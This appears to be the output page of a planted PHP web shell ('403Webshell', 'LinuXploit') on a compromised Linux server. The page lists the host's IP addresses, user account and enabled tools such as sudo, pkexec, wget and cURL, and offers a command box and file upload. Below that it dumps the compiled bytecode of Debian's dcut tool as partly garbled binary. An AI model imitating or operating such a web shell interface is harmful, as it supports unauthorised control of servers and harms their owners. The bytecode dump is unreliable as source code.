403Webshell
Server IP : 172.67.162.67  /  Your IP : 216.73.217.154
Web Server : Apache
System : Linux vps42439 6.8.0-136-generic #136~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 3 16:29:11 UTC x86_64
User : dh_7hi3h9 ( 6349477)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/dput/dput/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/dput/dput/__pycache__/dcut.cpython-310.pyc
o


��dS�@s�dZddlZddlZddlZddlZddlZddlZddlZddlZddl	Z	ddl
mZddlm
Z
dZdd�Zd	d
�Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�ZdS)u& dcut — Debian command upload tool. �N�)�dput)�
dputhelper)�rm�cancel�
reschedulecCst�d�t�tj�}|S)z& Make the program usage help message. aO        Usage: %s [options] [host] command [, command]
         Supported options (see man page for long forms):
           -c file Config file to parse.
           -d      Enable debug messages.
           -h      Display this help message.
           -s      Simulate the commands file creation only.
           -v      Display version information.
           -m maintaineraddress
                   Use maintainer information in "Uploader:" field.
           -k keyid
                   Use this keyid for signing.
           -O file Write commands to file.
           -U file Upload specified commands file (presently no checks).
           -i changes
                   Upload a commands file to remove files listed in .changes.
         Supported commands: mv, rm
           (No paths or command-line options allowed on ftp-master.)
        )�textwrap�dedentr�get_progname�sys�argv)�text�r�/usr/share/dput/dput/dcut.py�make_usage_messages
�rcCs�d}|drtj�d�dtjvrEtjd�d�dkr2tj�dd�}|r(|d	7}|d
tjd7}ntjd}|drCtj�d|�|Sdtjvr~tjd�d�dkrktj�dd�}|ra|d	7}|d
tjd7}ntjd}|dr|tj�d|�|S|dr�tj�d
�t�t�	��}|d}|d�
d�d}z
td����
�}Wnty�d}Ynw|s�|dr�tj�d�tjddtjd�}t�|j�}|���
�}|r�d|||f}|dr�tj�d|�|S|dr�tj�d�|S)u5 Get the system value for the ‘uploader’ option. N�debugz3D: trying to get maintainer email from environment
�DEBEMAIL�<r�DEBFULLNAME�� z<%s>zD: Uploader from env: %s
�EMAILzD: Guessing uploader
��,z
/etc/mailnamez2D: Guessing uploader: /etc/mailname was a failure
z/bin/hostname --fqdnT)�shell�stdoutz
%s <%s@%s>zD: Guessed uploader: %s
zD: Couldn't guess uploader
)rr�write�os�environ�find�get�pwd�getpwuid�getuid�split�open�read�strip�IOError�
subprocess�Popen�PIPEr�make_text_stream)�options�uploader�pwrec�username�fullname�hostname�hostname_subprocess�hostname_stdoutrrr�get_uploader_from_system5s~�

�+
�
� ��������r5cCs�ddddddddddd�
}t�tj�}t��}dtjdd�vs)dtjdd�vr7d|d<tj�d||f�t�tjdd�dgd	��\}}|D]�\}}|dr[tj�d
||f�|dvrmtj�t��t�	t
j�qI|dvr�tj�d
||f�t�	t
j�qI|dvr�d|d<qI|dvr�||d<qI|dvr�||d<qI|dvr�||d<qI|dvr�d|d<qI|dvr�d|d<qI|dvr�||d<qI|dvr�||d<qI|dkr�||d<qI|dvr�||d <qItj�d!|||f�t�	d�qI|d�s|�r|dt
v�r|d|d<|d�rtj�d"|d�|d=|d�st|�|d<|d�sG|d�s.|d �rGtj�d#|�tj�d$t|�d%�t�	d�||fS)&Nr)
r�simulate�config�hostr.�keyid�passive�filetocreate�filetoupload�changes�-dr�--debugrz	D: %s %s
zc:dDhsvm:k:PU:O:i:)zconfig=r�helpr6�versionzhost=zmaintainteraddress=zkeyid=r:zupload=zoutput=zinput=z$D: processing arg "%s", option "%s"
)z-hz--help)z-vz	--versionz%s %s
)r>r?)z-cz--configr7)z-mz--maintaineraddressr.)z-kz--keyidr9)z-sz
--simulater6)z-Pz	--passiver:)z-Uz--uploadr<)z-Oz--outputr;z--hostr8)z-iz--inputr=z2%s internal error: Option %s, argument %s unknown
z'D: first argument "%s" treated as host
zB%s error: command file cannot be created without maintainer email
z>%s        please set $DEBEMAIL, $EMAIL or use the "-m" option
r)rr
rr�get_distribution_versionrr�getoptr�exitr�EX_OK�stderr�
validcommandsr5�len)r-�prognamerA�opts�	arguments�option�argrrr�
getoptionsus��$�	
�









��
��
�����
��
rNcCsJg}|dd�}|�d�g}|r�|dtvr8|dg}|ddkr7t|�dkr2|ddkr2|d=n_|�d�nY|sO|ddkrOtj�d|d�t�d�t|d�ddvrh|�|ddd��d	|d<|ddvr�|r�|d
rtj�dd�	|��|�d�	|��g}n|�|d�|d=|s|s�tj�d
�t�d�|S)Nrrrz--nosearchdirsz--searchdirsz(Error: Could not parse commands at "%s"
���)r�;rrrz$D: Successfully parsed command "%s"
rz'Error: no arguments given, see dcut -h
)
�appendrGrHrrFrrD�strr�join)rKr-r7�commands�curargrrr�parse_queuecommands�sL


���
���
rVcCsjt�tj�}|dr|d}n?td��tttd���t	j
t	j}dt	j
t	j}t�||�}|d�
|�}	|d|	tt���t��f}|rNtj�||�}t|d�}
|
�d|d�|
�d	d
�|��|
��dg}|�d|d�|d
r�|�d|d
�|�d|�|dr�tj�d|�zt�|�W|Stjy�tj�d�t�d�Y|Sw)aX Write a file of commands for the upload queue daemon.

        :param commands: Commands to write, as a sequence of text
            strings.
        :param options: Program configuration, as a mapping of options
            `{name: value}`.
        :param config: `ConfigParser` instance for this application.
        :param tempdir: Filesystem path to directory for temporary files.
        :return: Filesystem path of file which was written.

        Write the specified sequence of commands to a file, in the
        format required for the Debian upload queue management daemon.

        Once writing is finished, the file is signed using the
        'debsign' command.

        If not specified in the configuration option 'filetocreate', a
        default filename is generated. In either case, the resulting
        filename is returned.

        r;r��________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________________r.z.%s.%d.%d.commands�wz
Uploader: %s
zCommands:
 %s

z
 �debsignz-m%sr9z-k%sz%srzD: calling debsign: %s
zError: debsign failed.
r)rr
rrrRrS�map�chr�range�string�
ascii_letters�digits�	maketrans�	translate�int�timer�getpid�pathr%r�closerQrr)�
check_call�CalledProcessErrorrFrD)rTr-r7�tempdirrI�filename�translationorig�translationdest�translationmap�uploadpartforname�f�debsign_cmdlinerrr�write_commands�sJ
�����
��rrcCs4|�|d�dkrd}n|�|d�}|rtj�d|�dd��|�dd�|vr8tj�d|�dd��t�d�|rFtj�d	|�|d��|�|d�|vr_tj�d|�|d��t�d�|�|d�sl|�dd�}n|�|d�}|�|d
�r�|�|d
�dkr�|�|d
�}	nG|�dd
�r�|�dd
�dkr�|�dd
�}	n2dtjvr�tjd}	ntj�d
�t	�
t���d}	|r�tj�dt���|r�tj�d||	f�|r�tj�d|	�|�|d�}
|�s}|r�tj�d|�tj�d|	�tj�d|
�|dk�r4|�|d�}|dk�r
d}|dk�r'|�r'|dk�r!tj�d�ntj�d�||||	|
|||�d'S|dk�rp|�rI|�|d��rItj�d�|�|d�}dd�dd �|�|d!��
d"�D�D�}
||||	|
||||
�d'S||||	|
||d�d'S|D]}tj�d#||||
f�tjd$|d%d&��qd'S)(ap Upload files to the host.

        :param host: Configuration host name.
        :param upload_methods: Mapping of {method_name: callable}.
        :param config: `ConfigParser` instance for this application.
        :param debug: If true, enable debugging output.
        :param simulate: If true, simulate the upload only.
        :param files_to_upload: Collection of file names to upload.
        :param ftp_passive_mode: If true, enable FTP passive mode.
        :return: ``None``.

        Upload the specified files to the host, using the method and
        credentials from the configuration for the host.

        �method�local�	localhost�fqdnzD: Default Method: %s
�DEFAULTzUnknown upload method: %s
rzD: Host Method: %s
�loginr0�USERz+$USER not set, will use login information.
rzD: User-ID: %s
z4D: Neither host %s nor default login used. Using %s
zD: Login to use: %s
�incomingzD: FQDN: %s
z
D: Login: %s
zD: Incoming: %s
�ftp�passive_ftpzD: Using passive ftp
zD: Using active ftp
�scp�scp_compresszD: Setting compression for scp
cSsg|]}|r|�qSrr)�.0�yrrr�
<listcomp>�s��z0upload_stolen_from_dput_main.<locals>.<listcomp>css�|]}|��VqdS)N)r')r�xrrr�	<genexpr>�s�
�z/upload_stolen_from_dput_main.<locals>.<genexpr>�ssh_config_options�
zUploading with %s: %s to %s:%s
zcat %sT)rN)r rrrrFrD�
has_optionrrr!r"r#�
getbooleanr$r)�call)r8�upload_methodsr7rr6�files_to_upload�ftp_passive_modervrsrxrz�ftp_moder~r��	file_pathrrr�upload_stolen_from_dput_main.s��
��
�

�
�
��



�
����
���r�c	Csvt�\}}|drtj�d�t�|d|d�}|dsO|�dd�rO|�dd�|d<|dr9tj�d|d�|dsOd|d<|drOtj�d	|d�d}d}t�	tj
�}z�|d
sj|dsjtj|dd
�}|ds�|ds}tj�d�t�
d�|�|d�s�tj�d|d�t�
d�n$|�|dd�r�|�|dd�}n|�dd�}|s�tj�d�t�
d�|d
r�|r�tj�dd�|��t�
d�d}|d
}|�d�s�tj�d|�n"|dr�tj}t|||�}	t|	|||�}n
t|||�}t||||�}|d�s$t��t��}
t|d|
||d|d|g|d�W|�r/t�|�dSdS|�r:t�|�ww)NrzD: calling dput.read_configs
r7r8rw�default_host_mainz'D: Using host "%s" (default_host_main)
z
ftp-masterzD: Using host "%s" (hardcoded)
r<r;�.)�prefixz8Error: No host specified and no default found in config
rzNo host %s found in config
�
allow_dcutz4Error: dcut is not supported for this upload queue.
zLError: cannot take commands when uploading existing file,
       "%s" found
rz	.commandszXError: I'm insisting on the .commands extension, which
       "%s" doesnt seem to have.
r=r6r:)rNrrrr�read_configsr�r rr
r�tempfile�mkdtemprD�has_sectionr�rS�endswith�
parse_changes�create_commandsrrrV�import_upload_functionsr��shutil�rmtree)r-rKr7rjrkrI�dcut_allowedrTr��removecommandsr�rrr�dcut�s�
�
������

���
��

���


��
��r�c
Cs�|d}|drtj�d|�zt|d�}Wnty-tj�d|�t�d�Ynw||�}|jdtj�	|�g}|d�
��d	�D]}|��d
}d|}	|dratj�d||	f�|�|	�qG|S)u� Get the removal commands from a package changes file.

        Parse the specified ‘foo.changes’ file and returns commands to
        remove files named in it.

        r=rz1D: Parsing changes file (%s) for files to remove
�rzCan't open changes file: %s
rzrm --searchdirs �filesr�rzD: Will remove %s with '%s'
)
rrrr%r(rDrgrrf�basenamer'r$rQ)
r-r7r��changes_file_path�changes_filer=r��	file_specr�rrrrr��s.���r�)�__doc__rr!r�r^r)rr�rrdrr�helperrrGrr5rNrVrrr�r�r�rrrr�<module>s*	@X)8uQ

Youez - 2016 - github.com/yon3zu
LinuXploit